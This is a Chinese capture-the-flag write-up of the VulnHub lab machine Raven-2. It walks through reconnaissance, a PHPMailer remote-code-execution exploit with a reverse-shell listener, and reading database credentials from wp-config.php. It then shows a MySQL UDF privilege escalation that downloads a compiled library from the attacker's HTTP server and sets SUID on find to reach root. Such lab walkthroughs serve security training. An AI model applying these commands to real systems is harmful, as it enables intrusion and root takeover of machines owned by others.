VulnHub靶机3-Raven-2

信息收集

Kali攻击机IP:192.168.245.128

主机发现

1
nmap -sP 192.168.245.0/24

image-20210514184532947

靶机IP:192.168.245.130

端口扫描

1
nmap -sS -sV -A -T4 -p- 192.168.245.130

image-20210514184751204

开放22端口(SSH)、80端口(WEB)、111端口、38771端口

网站信息收集

80的WEB服务:

image-20210514185232576

敏感信息扫描:

1
dirsearch -u http://192.168.245.130/ -e*

image-20210514185525539

存在/.DS_Store 没有什么有用信息。

目录探测:

1
dirb http://192.168.245.130/ /usr/share/dirb/wordlists/common.txt

image-20210514190130856

存在vendor目录:可以目录遍历

image-20210514190741191

image-20210514190815221

发现flag1:

1
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

同时发现这是个PHPMailer 系统 版本:5.2.16

image-20210514191028821

image-20210514191204186

可以发现存在wordpress 框架

image-20210514190251453

直接利用wpscan 扫描站点:

1
wpscan --url http://192.168.245.130/wordpress/

image-20210514191844035

可见版本:WordPress 4.8.17

漏洞利用

首先尝试攻击wordpress,几个漏洞的利用都需要登陆后台,没有找到后台地址,这条路先放一下。

针对PHPMailer(5.2.16)测试:

exploit-db发现存在可利用的漏洞:PHPMailer < 5.2.20 - Remote Code Execution (CVE2016-10045、CVE2016-10033)

尝试MSF:

1
2
3
4
5
options
set RHOSTS 192.168.245.130
set TARGETURI /contact.php
set WEB_ROOT /var/www/html
run

image-20210514230807722

访问后一直没有收到session 不知道什么原因

image-20210514230903240

直接利用exploit-db的EXP或者Kali搜索:

1
searchsploit PHPMailer

image-20210514202744290

修改下poc:

image-20210514205449744

开启监听:

1
nc -lvvp 4444

image-20210514203603324

1
python 40974.py

image-20210514205555661

之后访问contact.php

1
http://192.168.245.130/contact.php

image-20210514205117958

生成vvv.php

1
http://192.168.245.130/vvv.php

image-20210514205705994

收到shell:

image-20210514205743322

Get-Flag

创建一个tty:

1
python -c "import pty;pty.spawn('/bin/bash')"

image-20210514205949874

web目录的上层目录发现flag2:

image-20210514210142883

1
flag2{6a8ed560f0b5358ecf844108048eb337}

继续搜索flag,利用find命令:

1
find /var/ -name flag*

image-20210514210424769

flag3直接访问:

1
http://192.168.245.130/wordpress/wp-content/uploads/2018/11/flag3.png

image-20210514210542256

权限提升

尝试内核提权失败

按照渗透思路,猜测flag4需要提权进入/root,首先尝试内核提权:

查看下版本:

image-20210514211435247

没有找到利用思路。

继续收集靶机信息

进一步信息收集

看一下运行的程序:

1
ps -aux

image-20210514214808649

发现mysql是以root用户运行,进一步确认:

1
ps -aux | grep mysql

image-20210514214915417

同时可以获取到wordpress的配置信息:

1
cat wp-config.php

image-20210514212717195

找到数据库密码:

1
2
root
R@v3nSecurity

image-20210514213025856

对数据库进行信息收集:

image-20210514213419608

image-20210514214436166

image-20210514213442215

收集到的信息:

1
2
3
4
mysql版本:5.5.60-0+deb8u1
数据库名:wordpress
用户密码:michael $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
用户密码:steven $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.

因此尝试mysql udf提权

Mysql-UDF手动提权

首先看一下是否满足写入条件:

1
show global variables like 'secure%'

image-20210514215353089

当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

可见满足条件。

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录:

1
show variables like '%plugin%';

image-20210514220229474

查看能否远程登陆:

1
2
use mysql;
select user,host from user;

image-20210514221036973

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

手动提权:

找到利用的动态链接库:

1
searchsploit udf

image-20210514222235650

copy到当前目录:

1
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./

image-20210514222621322

编译生成so文件:

1
2
3
4
5
6
gcc -g -shared -o vvv.so 1518.c -lc
ls
-g 生成调试信息
-shared 创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件
-o 生成的文件
-lc -l 库 c库名

image-20210514223002843

攻击机搭建http 服务,上传so文件:

1
python3 -m  http.server 8000

靶机下载文件:

1
2
cd /tmp
wget http://192.168.245.128:8000/vvv.so

image-20210514223303370

接下来利用so文件提权:

进入数据库:

1
use mysql;

创建数据表:

1
create table evil(line blob);

插入文件:

1
insert into evil values(load_file('/tmp/vvv.so'));

利用dumpfile导出,注意:

  • outfile 多行导出,dumpfile一行导出
  • outfile会有特殊的转换,而dumpfile是原数据导出
1
select * from evil into dumpfile '/usr/lib/mysql/plugin/vvv.so';

image-20210514224233706

创建自定义函数do_system 类型是integer,别名(soname)文件名字:

1
create function do_system returns integer soname 'vvv.so';

查看以下创建的函数:

1
select * from mysql.func;

image-20210514224431524

利用自定义函数改变find命令权限:

1
select do_system('chmod u+s /usr/bin/find');

image-20210514224628615

利用find命令提权:

1
2
3
4
exit;
touch vv
find vv -exec "/bin/sh" \;
whoami

image-20210514224936966可见成功提权到root,进入到root目录,读取到flag4

1
flag4{df2bc5e951d91581467bb9a2a8ff4425}

思路总结

Mysql-UDF提权:

原理:利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限。

自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。

可远程的话直接利用MSF的mysql-udf提权模块:

image-20210514231212831

或者sqlmap:

1
sqlmap -d "mysql://root:root@192.168.245.130:3306/mysql" --os-shell

否则需要手动提权。

利用条件:

1
2
3
4
5
mysql < 5.0,导出路径随意。
5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
mysql > 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限

提权步骤:

查看mysql 权限

查看是否具有可写入的权限:

1
show global variables like 'secure%'

查看是否支持远程登陆:

1
2
use mysql;
select user,host from user;

准备动态链接库:

1
searchsploit udf //kali
1
2
sqlmap根目录/data/udf/mysql //sqlmap
//需要解码:https://www.sqlsec.com/2020/11/mysql.html#toc-heading-10
1
MSF 根目录/embedded/framework/data/exploits/mysql //MSF

查看插件目录:

1
show variables like '%plugin%';

如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹:

接下来就是按照以上步骤写入、导出、创建自定义函数并调用命令。